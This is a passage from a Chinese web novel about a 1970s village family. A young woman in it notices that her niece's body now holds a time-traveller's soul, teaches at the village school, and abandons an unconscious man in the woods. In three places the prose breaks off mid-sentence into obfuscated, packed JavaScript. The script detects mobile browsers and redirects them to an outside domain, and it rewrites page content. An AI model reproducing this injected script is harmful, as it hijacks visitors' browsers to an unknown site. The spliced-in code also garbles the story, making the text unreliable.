腹部微微鼓起,在瘦弱身躯上显眼的吓人。一问才知道,小莲姐怀孕了。 陈青鱼想说什么,但见小莲姐似乎对这个孩子充满着期待,到底还是把话咽了回去。回到家和李月说起这件事。 李月叹着气解答了她的疑惑,“小莲这孩子命苦,年纪轻轻遭了这么多事。她男人孩子再多也终究不是自己肚皮里出来的,不是亲生的到底隔着一层膜。” “现在有了亲生的孩子,对你小莲姐来说反倒是件好事。” 甭管上面说什么‘妇女能顶半边天’,对嫁了人的女人来说,孩子才是傍身的关键。没有孩子,娘家婆家的唾沫星子都能把人淹死。 陈青鱼无言良久,有时应付家里一个年幼小侄子她都觉得心累,不敢想小莲姐天天面对四个半大孩子该有多累。 等肚中那孩子出来,就五个了…… 陈青鱼打了个寒颤,晃晃脑袋把这件恐怖的事情摇出去。 陈远放哭笑不得:“闺女,你胡说啥呢,什么嫁不嫁的。郁知青是男的没错,但有爸在旁边咋会让这种事发生。” 哪怕阿鱼和灵儿是被郁知青救上来的,他也不会因为流言蜚语粗糙决定两人一辈子的事。家里几个大男人,是养不起两人还是咋滴。 那郁知青全程没多看一眼,手脚规规矩矩的。实施溺水抢救,也是在边上言语指导赶来的女人们。 这也多亏陈远放水性极好,下水捞起闺女和孙女两不误。 “那就好。爸你去忙吧,不用管我。” 陈远放离开后,大嫂张慧端着糖水鸡蛋走进来,看到小儿子趴在床边上,小心翼翼的说话。 “小姑姑,你还难受吗?” 小跃在还是个几个月大的婴儿就对他小姑姑有着独特的喜欢。嚎啕大哭时一看到他小姑姑来了,就瘪瘪嘴不哭了。记事后无论被撵走多少次,第二天又屁颠屁颠儿去找他小姑姑玩了。 下午得知小姑姑落水昏迷的消息,愣是边嗷嗷大哭边往家里跑,这会儿泪痕鼻涕满面。 陈青鱼心不在焉说着“没事”,没注意床边的小脏人。她这会儿才意识到刚问了个蠢问题,小说里压根没有这回事。 脑子乱糟糟的,心烦意也乱。 “小妹,起来喝糖水鸡蛋了。”张慧随手把碗放在柜子上,见陈青鱼心神不定,怕小跃打扰到她,低头一把抱在怀里,“你歇着,有啥事喊我。小跃身上脏死了,我就先带他出去了。” 亲妈瞧着都觉着儿子邋遢死了。 “好,谢谢大嫂了。” 屋里安静下来,陈青鱼看都没看糖水鸡蛋一眼,躺下眼神迷茫的望着黑漆漆的屋顶。没空等她胡思乱想,李月去去就回来了,可能五分钟都没有。 孙女那边有亲爹亲妈亲姐守着,她自然要守在自己闺女跟前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765752|174579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “放心吧,灵儿好着呢。刚一口气把糖水鸡蛋吃了,能吃就没大事。花花说跟我来看看你,我给推回去了。你二嫂是个不着调的,你二哥惯会和稀泥,就属花花让我安心些。” 说着看到没动过的糖水鸡蛋,李月端到手里,另只手拍拍闺女,“阿鱼,起来吃点东西。妈给你多放了些红糖,可甜了。” 陈青鱼不喜欢糖水鸡蛋,闻着有股子腥味,吃着还噎人。她吃鸡蛋只吃蛋白,蛋黄从来不吃。 “妈,我不想吃,没胃口。” 她撇过头往后扬了扬脑袋,拒绝意思很明显,“妈你吃吧,就当是我吃了。” 李月佯装生气:“你这说的是啥屁话,专门给你煮的。赶紧起来吃点有营养的补充力气,你以为鸡蛋天天都能吃到的啊。” 陈青鱼拗不过老妈,耷拉着脸坐起来慢吞吞的吃着,“妈,我真不爱吃糖水蛋,煮白鸡蛋或蒸蛋都比这个要好啊。” 抿着小口喝糖水,筷子戳蛋白,就是不吃。 “嘿,你要求还多呢,有的吃就不错了。闺女,头还晕不晕?快到点了,晚上想吃啥,妈去给你做。” 李月当没看到她的小心思,盘算着家里还有啥能吃的存货。 陈青鱼看向木窗外,天色渐渐昏暗下来,“没想吃的。妈,我想一个人待会儿。” 李月点头,起身不忘回头叮嘱:“赶紧把糖水蛋吃了啊,冷了你更不喜欢了。” 屋门被关上,脚步声渐行渐远。陈青鱼麻溜下床,端着碗溜到隔壁屋子。 陈青鱼单独一屋,陈花花和陈灵儿两姐妹一屋,就在隔壁。再过去是大哥家三个孩子住的。这几间屋子是近几年修起来的,家里孩子多了,长大了,再住一起也不方便。 门敞开着,她往里探头。 陈花花不在,就陈灵儿坐在床上,眼睛咕噜转探寻着屋内,手还扒拉着床上的芦苇席。只差把‘好奇’二字刻在脸上了。 仅一眼,陈青鱼就能断定她不是侄女灵儿了。 心情顿时沉重下来。 那来路不明小说里的剧情应验了。 身体换了个魂儿的陈灵儿,正努力熟悉着艰难穷苦的环境。若不是这具身体的家里人随时会出现,她很想抱头尖叫了。 这什么破地方啊啊啊啊! 床扎皮肤,还又窄又小,地面是坑坑洼洼的土地,这家人进进出出几回,带起阵阵泥灰。 身上衣服打着补丁,袖口布料破破烂烂。要不是那些人对她态度自然淡定,陈灵儿都要怀疑自己是不是被人贩子拐到还未脱贫的深山里来了。 后知后觉,哦,她好像是穿越了,穿到了祖国成立后那艰难的几十年。 推导出这结论,还是看到墙上挂着的破旧日历,有些年头了。上面写着一九七零年。加上原身姐姐说的话。 说什么‘上工’‘工分’…… 陈灵儿是文科生,历史成绩在年级一直名列前茅。瞬间反应过来这是上世纪七十年代的特有名词。 她欲哭无泪,脑子里金手指、系统、小说剧情等等啥都没有。虽不看小说,但听室友说过当下最火题材就是穿书什么的。 正悲伤着,察觉到门外有道视线。抬头看过去,瞬间两眼一亮。 我嘞个去,好漂亮的大美人儿~ 5. 05 两人沉默对视中。 陈青鱼惦记着那不知去向的灵儿侄女,竭力忽视对方奇奇怪怪的眼神,端着碗迈步进屋先一步出声:“屋里怎么就你一个人,你姐姐呢?” 理智告诉她,不能把小说的事情告诉任何人。直接和‘陈灵儿’撕破脸不太现实,现在这身体是外人做主。万一‘陈灵儿’起了坏心思,反倒是害了侄女。 只能先稳住,再慢慢探出灵儿的下落。 陈灵儿回过神,结结巴巴的说:“我姐?哦哦,她刚出去说给我洗衣服了。”她没有原身的记忆,从家里人说的话大致推断出眼前这女生应该就是和原身一起落水的小姑姑。 长得好漂亮,白的发光,衬得她这屋子都黑漆漆的了。 世人对漂亮的人或事物,总是和善的。陈灵儿也不例外,她大学里有个贼好看的女生,每回见着比男生还要激动,活脱脱的小迷妹一枚。 而面前这个,比那女生还要好看! 粗布麻衣、毫无设计感可言的衣服,穿在她身上都变得有质感了。尤其那张近乎看不到丁点儿瑕疵的脸蛋,好似散发着诱人甜香的奶黄小蛋糕。 我的老天爷啊,女娲造人捏脸的时候能不能一视同仁啊!!!您看看这公平吗? 陈灵儿还知晓当下处境不好,一边忍住接近小蛋糕的冲动,一边安慰自己以后机会有的是。她舔舔唇喊人:“小姑姑?” 陈青鱼‘嗯’了声,坐在屋内唯一的一条木凳上,眼波流转随意问道:“灵儿,你落水前怎么了?一点声儿都没有。” 陈灵儿嘚瑟猜对身份没几秒,顿时傻眼了,没料到她会问这。原身落水那会儿她还没来呢,怎么可能回答的出来。心虚虚装作很忙的样子,摸摸耳边头发,弯腰挠挠腿。 大脑疯狂运作中,死脑子快想啊! 想不出来,捂脸装头疼的可怜模样:“小姑姑,我好像不记得了。” 陈青鱼没再追问,顺势问下去:“头很不舒服?我不会水,想着小河不深没想着水下救人蛮困难的。你那时在水下待的挺久,可能是伤到脑袋了。要不明天去县城里医院看看?” 去医院?那她装病岂不是一下子就暴露了。 陈灵儿连连摆手:“不用了,我没大事。应该是在水下憋太久了导致脑子不太灵活,等睡一晚就好了。” 见她手舞足蹈、表情乱飞的样子,陈青鱼有点头疼。怀疑先前她究竟是怎么应付过陈家人的,就这,额、大大咧咧的说话方式,只要不是瞎子都能看出不对劲。 因为刘招娣常年对两女儿的忽视和打骂,灵儿不爱说话,比她姐姐陈花花还要话少。日常跟在姐姐身后,安静的干活。 陈青鱼有陈远放和李月从小护着,吃穿是不愁的,也会时不时的给两姐妹投喂点吃的。不夸张的说,两姐妹对她都要比对亲爸妈要亲近许多。 想了想,她诧异道:“灵儿,我怎么觉得你和以前有些不一样了。” “啊?” “感觉你更活泼了。以前你说话声小小的,还是第一次见你把眼睛睁的那么大。” 陈灵儿呼吸停滞,眨眨眼睛后没敢全睁眼了,低头喃喃:“这次离死亡太近了。小姑姑,好多事情我都想通了,真的,现在我觉得自己开心最重要。” 濒临死亡,获得拯救后大彻大悟,有所改变应该能说得通吧。 陈青鱼这回是真诧异了,这理由好啊。 “嗯,你能想明白就好。”陈青鱼把糖水鸡蛋递过去,“你要吃吗?我就喝了点汤,蛋白被我戳了几下。” 陈灵儿醒来后肚子饿的不行,这具身体感觉跟好几天没吃饭了一样。刚刚那碗糖水蛋两口就没了,勉强缓解了一丝饥饿。现在面前又来了一碗糖水蛋,她实诚的咽咽口水。 “我能吃吗?”她倒没觉得这是剩的,饿狠了哪还顾得上那么多。 记得上世纪六七十年代条件穷苦得很,这一人一碗的糖水蛋也是稀罕物。她要吃了感觉会挨揍。 其实鸡蛋对陈家来说,不是稀罕东西。稀少的是加里面的红糖。陈家一家之主当大队长,城里还有个当老师的,过得要比大队绝大部分人家都要好了。 “能吃,快吃吧。不过你要赶紧吃完,别被你奶看到了就行。碗我要拿走的。” 陈灵儿端过碗一口吞下糖水蛋,被噎得直翻白眼。 陈青鱼简直没眼看她,怕她被噎死了,“你喝口汤吧。叫你赶紧吃完没叫你把自己噎死。” 怀疑人生。 这真是女主???智商堪忧啊。 陈灵儿咕噜咕噜喝完汤,呜呜呜,这清汤寡水的糖水蛋,要换在以前她看都不看一眼。 现在她只想高呼:再来一碗! “小姑姑,你真好~”陈灵儿泪眼汪汪,一副小白兔的依赖信任模样。 陈青鱼胳膊起鸡皮疙瘩,端过碗起身就要离开:“你休息吧,我先出去了。”陈灵儿这样怪不习惯的。 院子内外炊烟袅袅升起,天光彻底黯淡。天边悬挂一轮明月,清冷月光洒在地面上。 没过多久,陈家人坐在一起吃晚饭。 桌上菜色简单,炒黄瓜、丝瓜蛋花汤、凉拌野菜,主食是红薯稀饭。 李月挨个给盛红薯稀饭,不偏不倚,每人碗里有红薯有米粥。轮到陈灵儿时,她少盛了红薯,米粥也浓稠些。 “妈,我要多点红薯。”刘招娣眼睛黏在铁锅里,肚子咕咕直叫。红薯实在,比米粥抗饿。 李月没好气的多舀了几坨红薯给她:“吃吃吃,你就知道吃。饿死鬼投胎啊。家里活儿怎么没见你们主动去干。吃饭倒是比谁都积极,要是干活有吃饭积极,老娘还用得着计较这点吃的。” 家里十二张嘴,粮食每天哗啦啦的变少,煮红薯都要半盆半盆的装。就这还没把老三一家和老四算在其中。 “灵儿这丫头接连遭了罪,老二媳妇,我警告你啊,这几天少给我使唤她。听到没?” 刘招娣沿着碗边吸溜红薯粥,含糊不清的说:“妈,我听到了。” 内心很是不屑,这算啥遭罪。不就是呛了几口水吗?有啥大不了的。想当年她被爸妈打晕过去,第二天照样干活,挑水做饭挖地不在话下。 要她说,这俩死丫头就是养坏了。一点苦都吃不得,多打几顿就老实了。 陈老二陈丰跟着说:“妈,我也要多红薯。”至于自己媳妇挨骂,他压根没放在心上。妈就是刀子嘴豆腐心,嘴上厉害了点,再说了,妈说这话也是关心两个闺女。 谁来都不能耽误他吃饭。 气得李月抬腿踹老二一脚,“滚蛋!”这俩混账玩意儿,真是要气死她了。 坐着吃饭的陈远放,待众人坐下后边吃饭边说正事,“有个事我要说一下。今天阿鱼和灵儿能完好无损的回来,多亏有队上的郁知青搭手。虽说人郁知青不缺什么,但我们谢礼也不能少。” 老大陈根赞同:“爸说的在理。” 陈丰:“我都行,听你们的。” 女人们和孩子们没说话,专心致志的喝粥吃菜。刘招娣有意见,但她知晓公公都发话了,这就是板上钉钉的事了。 陈远放问身边人:“家里还有肉吗?” 李月嚼嚼爽口的凉拌野菜:“还有半只烟熏野兔,就上上个月老大去山里逮的。” “爷,奶,兔子肉好吃。”半天没吭声的陈天忽然说话。干巴巴的一句,没说目的,但大家都懂他的意思。 陈天是陈家老大的二儿子,在县城念初二。离家不算远,每天都会回家。 他哥陈明不是读书的料,初中读完就没念了。半大孩子跟着在乡下种地没前途,陈远放托工作上认识的老友,让大孙子跟着一师傅在钢铁厂里当学徒。 一个月回家一次。 李月跟老伴商量:“兔子留着吧,城里来的知青怕也是吃不惯这烟熏货。我明儿早些去县城里,看能不能买到鲜肉。” “成,兔子留着。要买不到肉就买点别的。” 第二天,李月天没亮就起床和老大媳妇去了县城,菜篮装了些地里的新鲜菜好给老三一家带去。 陈老三虽是入赘了韦家,但韦家并没有不让他和陈家联系,两家关系融洽和谐。生的两孩子也依照婚前说好各随两方姓,无论男女。 陈家人去地里上工了,陈青鱼收拾好正要出门,碰上在堂屋鬼鬼祟祟的陈灵儿。 她眉头轻皱:“你在干什么?” “小姑姑,你这是要出门嘛?”陈灵儿被吓得一哆嗦。 “嗯,我要去大队上的小学,上午有课。” “好厉害,教……”陈灵儿说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈青鱼有艺术天赋,唱歌跳舞一学就会,画画也不在话下。 小学没那条件,音体美课程不曾开设过。再说了,学校就几个老师,通常一个老师教好几个年级。 她会去小学教音体美,还是陈远放这个大队长一手促成的。担心她整天闷在家里闷出病来,然后就和学校那边一合计,开设了这一课程。她那点本事,足以教一群小孩子了。 陈青鱼当老师的工资不多,就没上交李月。日常会买吃的分给大家,偶尔也会给几个侄子侄女买点用的。 “灵儿,我去教室了啊。你自个儿找地方待着。” 陈青鱼望了眼办公室墙上挂着的时钟,拿上教材去了教室。不想教小孩儿,唉,挣点钱真不容易。 下课闲了空,她回到办公室陈灵儿已经不在了。 旁边教语文的周老师笑着说:“陈老师,你侄女说她先走了。” 陈青鱼嘴巴说了一节课,嗓子干涩得慌。喝着水说:“好。周老师,你家星星呢,今天怎么没带来?” 星星是周老师三岁大的孩子,她男人去当兵了。去年却突然音讯全无,一直都是她一个人照顾孩子。 “带来了,我嫌他把屋子弄的一地土,在外面玩泥巴呢。”周老师指了指外面。 教算术的李老师板着脸从外面走进来,古板死犟的一老头儿,在大队教书很多年了。身后跟着年轻一些的元老师。 整个小学一共四个老师。 “咋了周老师,孩子们又惹你生气了?”周老师打趣道。 李老师摇摇头叹息:“这些孩子把心思用在学习上的太少了,今年能考上初中的不出这个数。家里花了钱或粮食把他们送来学校,你说他们怎么就不能认真学习啊。” 他举着单手示意。 周老师笑容淡了,“吃都吃不饱了,他们哪还有心思学习。这些年要不是我们挨家挨户上门劝说,学校里的孩子能少一半。” “不说这个了,有件喜事要和大家说。”李老师从抽屉拿出一份文件,“这是县教育局的通知,上头下来了一个民办教师转正的名额。” 学校已经很久没有转正的名额了,李老师半辈子奉献在林山大队,这也是第一次等到了这好消息。 文件几经传阅,资历最浅的陈青鱼先说话:“我去年才来,这名额就你们三位老教师中间选吧。”也不想参与这无形争斗中,“你们讨论,我出去走走。” 她不爱读书,怎么可能会想一辈子困在学校里。 自己有几斤几两,陈青鱼还是有点自知之明的。等她有了更好的前途,就一脚踹了这群叽叽喳喳的小屁孩。 6. 06 乡下学校规模小,也就几间屋子组成教室,院子充当操场。门口有个木框做的牌匾,上面写着‘林山小学’四个大字。一颗银杏树长在教室外,郁郁葱葱。 星星穿着开裆裤坐在树下,脸蛋黑乎乎的,小胳膊小腿儿。 陈青鱼一小时后还有课,没有离开学校,走到小孩跟前双手环在胸前。注意到他捏的泥巴是湿的,想到什么,默默离的远了些。 甚至想离开了,奈何星星看到了她。仰起小脸奶声奶气的喊:“姐姐~”他大方的分享泥巴玩具:“姐姐要一起玩儿吗?看我捏的小鸡。这是小蛇,那是小兔子……” 星星兴致勃勃的介绍着手边一堆堆奇形怪状的泥块,还从坑里揪出一坨泥土递给陈青鱼。 陈青鱼微笑婉拒:“不用了,你自己玩吧。” 记忆过于深刻,她回想起来有点反胃。小跃跃之前也喜欢玩泥巴,她没多关注。直到有一次,看到他小鸟撒尿在干泥土里,再用手揉来揉去…… 把她恶心的没吃下饭。整整一个月,陈青鱼没让小跃跃近过她的身。 小女孩就是要比小男孩讨人喜欢。至少她没见过小女孩有这么恶心的举动。 陈青鱼往外面走去,不远处是一片片的农田。学校地处村尾的半山坡上,附近房屋不多,随着近些年下乡知青的增加,倒是在周围垮塌房屋上面建起了知青所。 这个点村里人,包括那些知青都在地里上工,四周安安静静的。偶尔有一两个人匆匆路过。 陈青鱼想起爸说的‘郁知青’,摸着下巴好奇朝知青所那一片望去。知青所的房屋和村子里的没区别,面积不大,她依稀听爸说过一嘴,目前为止,队上的知青有近二十个。 站半天也没瞅见一个知青,她嫌外面太热,估摸着三个老师商量的差不多了,就回去了。 五六月的天说变就变,中午天色骤然暗沉,紧接着豆大般的雨点重重落下。瓢泼大雨,整个村子很快笼罩在朦胧雨雾中。 雨水砸在地面上,闷热空气弥漫着一股奇怪味道。 “这么大的雨,幸好没撞上夏收。”陈远放站在屋檐下,忧心忡忡的说,“这两年收成一般,再来一场雨糟蹋粮食,村民还吃什么喝什么啊。” 夏秋收那半个来月,最怕遇到的就是天灾了。 李月在一旁缝补衣服,低头咬断线:“要我说,这雨还来的是时候。一场雨下来,再过一二十天地里庄稼就能收了。你也甭担心了,老天爷的事儿我们还能提前知道不成。” 夏雨来得快,去得也快。 一小时后雨势变小,天空一贫如洗。远远望去湛蓝一片,不见云朵痕迹。仿佛世界都清晰了许多。 院子边缘积了雨水,不用想以地里湿润度是一时半会儿上不了工的。 “阿雨,灵儿,趁着大家还没去上工,你们要跟着去给郁知青道个谢吗?”李月分好新鲜猪肉,一块留着自家吃,另一块送给郁知青。还有一包白糖。 陈青鱼最烦下雨天出门了,到处湿漉漉的不说,还容易把身上弄得脏兮兮的。 “不要。妈,你和灵儿去行了。”她想也不想就是拒绝。 好奇归好奇,还没到不得不去看的程度。况且知青在乡下又不是只待几天,以后有的是机会看。 陈灵儿也想说‘不去’,但看到原身奶奶那轻飘飘的目光,她从心的改口了。 “奶,我去,我去。” 陈家人接二连三的出了门,陈青鱼兴致来了,在教小侄子写字。陈跃今年五岁了,乡下孩子一般是六到七岁入小学念书,不像城里有托儿所这玩意儿。 明年他就要失去自由自在的童年时光了。 哈哈哈,陈青鱼对小侄子表示同情,拍拍他圆脑袋瓜:“好好认字吧,隔壁米粥都能写他自己的名字了。” 陈跃不相信尖叫:“不可能!他名字那么难写的。小姑姑,你在骗我对不对!” 他太难受了,呜呜呜。说好的一起当笨蛋,结果小伙伴背着自己当聪明蛋了。他不要和米粥玩儿了。 “你不信就算啦。”陈青鱼无奈摊手,“小跃跃,努力吧。争取早些写好你的名字。” 陈灵儿回来的很快,身后不见李月。 “灵儿,你奶呢?” “奶说她去上工了。”陈灵儿对陈青鱼有种莫名的信任和亲近感,就好像是能分享一切的好朋友。女生的第六感告诉她,陈青鱼不会伤害自己。 顾忌着在场有小孩子,她飞快凑过去表情兴奋的说:“小姑姑小姑姑,你这趟没去太可惜了!爷奶说的那个郁知青,长得好帅,妥妥一高岭之花。第一眼我还以为看到明星,比我线下见过的男明星还要帅气!” 陈青鱼听的不太懂,蹙眉疑惑:“明星?”说的什么乱七八糟的东西。 她只知道歌星。收音机里就能听到歌星唱的歌,婉转动听。 陈灵儿反应过来又说漏嘴了,懊恼的想一巴掌呼这张破嘴上。她绞尽脑汁的想理由辩解:“明星、明星就是演电视电影的。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这就叫肥水不流外人田,嘻嘻。 陈青鱼相亲的事,还是陈花花无意提起的。 却全然忘了这年代的相亲和后世有很大不同。谈恋爱什么的,基本上不存在。 相亲就是看顺眼了,双方再接触一下,两家就会定下来了。更过分的直接由两家父母定下,组建家庭的男女没有反驳的机会。 陈青鱼面无表情的捏住她的小嘴巴:“陈灵儿,你少说话吧。” 她可没空天天给这位补窟窿。 忽然觉得大学生也不是那么令人稀罕了。 7. 07 春夏雨后,一晚上山林里野菜蘑菇疯长。 “小姑姑,快走,我们去捡蘑菇!”吃完早饭,陈跃兴奋的背上竹筐,拉着小姑姑就要往外面冲,“米粥在门口等着了。” 乡下小孩懂事早,能走路了就能帮着家里干活。采蘑菇、挖野菜这样的活儿更是不在话下。这会功夫村里小孩怕是都往山上跑了,手慢无。 陈青鱼去堂屋拿了个菜篮,领着一群小屁孩往山上走去。没见着几人中唯一的小女孩二兰,她问:“二兰呢,怎么没一起来?” 江小牛不开心撅嘴:“我去她家喊过她,二兰被她妈留在家里洗衣服了。说让二兰回来后再洗都不行。” 每回出去玩儿,喊二兰总是要比喊别人要费劲些。有时还不一定能喊出来,真烦人。 “就是!每次在路上碰到二兰她妈都很不自在,那眼神就好像是我们占了二兰便宜一样。”陈跃愤愤不满,显然对二兰她妈有很大怨言了。 一向不说别人坏话的米粥,也弱弱补充:“二兰她妈还抢二兰的吃的。那天我们摘的桑葚,二兰还没吃几颗就都被她妈一把全拿走了。” 二兰姓陈,她爷爷和陈远放是堂兄弟。两兄弟感情一般,当年还竞选过林山大队的大队长。她爷爷竞选失败后,没两年人就摔死了。 两家虽是同村亲戚,但彼此并不亲近。 陈青鱼给小孩们转移话题:“看那里白色的是不是蘑菇!” 小孩们争论疯抢着往前跑去,要比比谁捡的蘑菇更多,没一会儿就满山林散开了。时不时漫山遍野的响起孩子们欢快的叫嚷声。 深山边缘的山坡灌木林是村民经常涉足的区域,很安全,这片地儿已经布满了大大小小的足迹。草丛踩出了一条土路,一路蜿蜒上山,逐渐消失在茂盛的山林中。 陈青鱼没在这里停留,而是往林子里走去。越往里走脚底枯叶越发厚实,昨天下了雨,踩上去软绵绵的。 枯叶满地没了路,她捡了根长长的枯树枝拨动可能会长蘑菇的树木根部,蓦地发现掩藏在枯叶下的腐朽木头上长满了木耳,不禁露出笑容来。出门一趟,终于有收获了,蹲下摘进篮子里。 走了不知多远,耳边再听不见小孩吵闹的声音。林间鸟雀此起彼伏,和刷刷作响的树叶相互演奏着属于大自然的乐章。 陈青鱼走累了,记得前面有处山沟沟,那里面有棵野桃树。今年太忙了,陈家人都忘了五六月野桃成熟了。 还没找到野桃树,先看到了几十米外的陡坡下有一道横着黑影。走过去一看,是个人。 一动不动,好像有点死了。 陈青鱼想起小说剧情的开始,就是在山里救了个男人回去,也是‘陈青鱼’一生悲剧的初始点。这野男人正是刚下乡来大队的知青男主,身为男主有一定姿色,靠脸和甜言蜜语哄得她痴心一片。 小说存在有好些天了,陈青鱼还是没能理解这奇葩剧情,也没看出女主‘陈灵儿’对她的针对和不满。 她倒要看看这所谓的小人男主长什么样子,值得自己费心救下。跟个小傻子一样,一心一意充当男主成长路上的血包和垫脚石。 小说里男主的那些迷惑发言,光是想想都令她发呕。这破剧情谁爱走谁走吧,还男主,赶紧死去吧。 男人面朝地,陈青鱼换了好几个角度都没看清他的脸,烦躁的脚用力一蹬,将人蹬得面朝天。用木棍戳戳他的脸,跟玩儿似的。 泥土蹭在他憔悴面容上,勉强看清长啥样了。惨白脸庞发尖,嘴唇轻薄,进山还穿着衬衫……装货。 陈青鱼嫌弃的退后一步,咦,丑八怪一个!长得真丑,连上次相亲回家路上碰到的青年侧脸都比不上,还男主?我呸! 她眼神飘忽,当无事发生般起身,望天走路一脚踩他脸上慢悠悠的往回走了。赶紧死吧,最好没人发现被山里野兽吃掉。 陈青鱼听爸妈说过,深山有野猪野狼什么的。有野猪是事实,有一年山里野猪跑下山破坏了大片庄稼,那年收成差到极致。若不是上报县政府,政府出手发了粮食补助,不知道要饿死多少人。 野狼没见过,夏天深夜偶尔会听到一两声不明嚎叫声。村里老人都说是野狼,还经常用‘要是不听话,就让狼下山把你吃了’这种话吓唬家中不听话的小孩。 越想越有些气不过,陈青鱼双手握拳想揍人,又嫌会弄脏手。于是,回头恶狠狠的踹他几脚。 踹得昏迷男主身体一抽一抽的。 陈青鱼满意离去。 怕被这人醒来赖上,她连野桃子都懒得摘了。 没想到午饭吃过没多久,知青点的几名知青找来了。见着大队长,中间的男知青三言两语说明来意。 “大队长,我们那儿有个知青不见了。早上他说不舒服没去上工,我们就没多管。可谁知中午回去就没见着人了,门口碰着一小孩,说看到韩文成上山了。” “山上地势复杂,我们几个没进太深过,一时拿不定主意所以来找大队长您。” 说话主事的男知青是前几年就下乡的,叫乔然。在知青中名声不错,新老知青慢慢的就习惯了他的指挥和领导。 乔然和一同来的几个知青,对日常拖后腿的韩文成感观都不太行。要不是怕他真出事闹了人命,几人压根不想管这破事。 这一批新来的知青里,闹心的家伙不少。 韩文成是其中最闹心的。来的第一天就搞事,一副鼻孔朝天的高傲嘴脸,各种看不起乡下人,嫌弃知青点房屋脏乱差…… 这些天不好好上工,整天揣着一本破书,还叽里咕噜念叨着那些文绉绉的句子。乔然身为众知青的领头人,出于好心提醒了对方几句,反倒落得一句‘多管闲事’。 陈远放横眉皱起,因睡不成午觉语气有些暴躁:“又是姓韩的那小子,每天一上工不是这里疼就是那里痛,现在又折腾出事来。大队开会不是告诉过你们别往山林去的吗?一个二个的净瞎搞,是想死吗!啊!” 暴躁起来,唾沫星子乱飞。 “大队长,这事儿确实是我们不对。但现在人命关天,韩文成手无缚鸡之力……” 乔然尴尬赔罪,也没辩解是韩文成自己作死往山里跑的。他只想着赶紧把人找到,别耽误大家下午去上工。 韩文成不领情就算了,这人能挣几个工分用不着他管。等把领的粮食补贴吃完,姓韩的就知晓这乡下的难处了。没工分填饱肚子都困难,还念诗呢,看到时候怕是恨不得把书都啃了。 陈远放头疼,“行了行了,我这就去召集大家进山找人。再有下次,你们就全都去给我喂狼。” 饭后不宜立马躺下,在院子里遛弯消食的陈青鱼听到对话,见老爸要跟着知青们出去。 心想那男主若是出事嗝屁了,恐怕会给她爸带来麻烦,对此人更没好印象了。村里人去山上找,说与不说找到男主可能就差个十几分钟。 “爸,你进来一下。急事。” 陈远放冲知青们摆摆手,“你们先两两结伴去找,我换双鞋子随后就去。”说完转身进院子,穿上草鞋边问:“阿鱼,有啥事快说,爸要出去。” 这群知青,真是比地里蝗虫还要烦人呐。 陈青鱼清清嗓子,小声告知上午见到的要死男主。如溪水般澄澈的眼睛无辜极了:“爸,我不认识那人。当时就我一个人,他男的力气大,醒来了我打不过他。” “本来打算回来后跟你说的,我记性不好嘛,就给忘了。” 陈远放咋可能为了一外人生自家闺女的气,还夸她做得好有警惕心。问了具体地址后,他怕闺女胡思乱想伤脑子。 “没事。阿鱼,你见过韩文成这事就当没发生过,知道吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765755|174579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陈青鱼狡黠一笑:“知道啦。对了,我记得一片地有棵野桃树,爸有空去看一眼桃子熟了没。”才知道男主叫韩文成,名字也不好听。 陈远放叫上老大老二,三人匆匆离去。 李月从小女儿口中得知缘由,身体朝着知青点的方向唾骂:“三天两头就惹事,这群知青就没几个好的。尤其是最近这几个,你爸愁的头发都白了不少。” “阿鱼,你少跟那些男知青接触啊。”她压低音量不厌其烦的叮嘱,“你爸是大队长,很多事都能行方便。这些知青个个都想回城,可不得使劲攀上你爸。” 孙女花花和灵儿才十三四岁,家里女孩就阿鱼到了结婚年龄。 阿鱼还长着那样一张出色的脸蛋,这些年向陈家示好的人不在少数。全部都被夫妻俩挡了回去,就想把闺女多留家里几年。 “女知青你也少挨着。”李月添了一句。 贫苦到一定程度,心思难免歪坏,不论男女。大队就有女知青受不了下乡的苦,又回不去城里,便嫁给里村里男人了。 不是李月多嘴,女人间的弯弯绕绕不比男人往上爬的手段低劣。 这些话陈青鱼从她上初中起,李月就在耳边上念叨了。知晓爸妈是怕她受骗吃苦,她也就左耳朵进右耳朵出的听着。 看着闺女打哈欠的困倦模样,李月在心底叹气。别人家闺女都当两个妈的年纪了,她家阿鱼还是一副没心没肺的样子,好像除了吃就没别的感兴趣的东西了。 上午捡的蘑菇,中午做了鲜掉眉毛的蘑菇汤。阿鱼这懒虫愣是边喝汤,边说下午还要去捡蘑菇! “困了?不去捡蘑菇了啊?”李月含笑问。 陈青鱼嗓音懒懒散散的:“困,要去。等我睡醒就去,今天不热,很适合睡觉啦。妈,你也快去睡会儿吧。” “妈就不睡了。”李月哪还睡得着。知青出事,队上又得议论好些天了。 下午陈家人要上工,两个嫂嫂和陈花花姐妹俩忙完就去歇着了。陈家三父子出了门,这会儿没睡的还有精神抖擞的陈跃。 得了麻烦精韩文成在山上的位置,陈远放带着村民们上了山,有意无意的朝着那方向引去。 